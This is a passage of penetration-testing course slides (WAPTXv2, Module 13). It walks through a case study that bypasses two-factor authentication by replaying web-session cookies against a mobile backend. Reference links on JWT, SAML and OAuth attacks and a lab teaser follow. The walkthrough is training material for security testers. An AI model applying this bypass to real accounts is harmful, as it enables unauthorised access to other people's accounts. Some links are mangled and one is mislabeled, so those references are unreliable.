Step 2: We initiated a login sequence as the 2FA user, whose credentials were
acquired, through the web application but manipulated the login sequence requests
so that they were processed through the mobile applications' backend. During the
abovementioned login sequence manipulation steps we used the cookie values
supplied by the web application's backend.

Response
to the
edited
request

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.75

13.5.3 2FA Bypass Scenario 2
Step 3: We performed a POST request through the browser requesting
https://uat.xxxx.com/xxxxxxParticipant/mobile/services/initial_load.htm?ENC=[atta
cker’s CSRF token] using the CSRF token of the non-2FA user (the attacker) and the
2FA user's cookies, as mentioned above.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.76

13.5.3 2FA Bypass Scenario 2

Step 4: The web application responded with a 403 Authorization error message,
twice.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.77

13.5.3 2FA Bypass Scenario 2

Step 5: We performed a GET request through the browser requesting

https://uat.xxxxxx.com/xxxxxxxParticipant and we were finally able to browse
through the web application as the 2FA user bypassing the Two Factor
Authentication mechanism in place.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.78

References

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.79

 References
Subdomain Takeover
https://hackerone.com/reports/172137

JSON Web Token (JWT)

https://jwt.io/introduction/

JWT Security
https://www.reddit.com/r/netsec/comments/dn10q2/practical_approaches_for_testing_and_
breaking_jwt/

JWTear
https://github.com/ethicalhack3r/DVWA

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.80

 References
RFC6819
https://tools.ietf.org/html/rfc6819

SAML Authentication Bypass Vulnerability

https://developer.okta.com/blog/2018/02/27/a-breakdown-of-the-new-saml-authentication-
bypass-vulnerability#cryptographic-signing-issues

Github SAML Vulnerability

http://www.economyofmechanism.com/github-saml

SAML Testing Methodology

SAML Testing Methodology

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.81

 References
SAMLRaider
https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e

MailSniper
https://github.com/dafthack/MailSniper

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.82

 Labs
Attacking OAuth
In this lab, students will have the opportunity to attack and exploit an
insecure OAuth implementation. Remember to always consult with
the manual!

*Labs are only available in Full or Elite Editions of the course. To ACCESS your labs, go to the course
in your members area and click the labs drop-down in the appropriate module line. To UPGRADE to
gain access, click LINK.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.83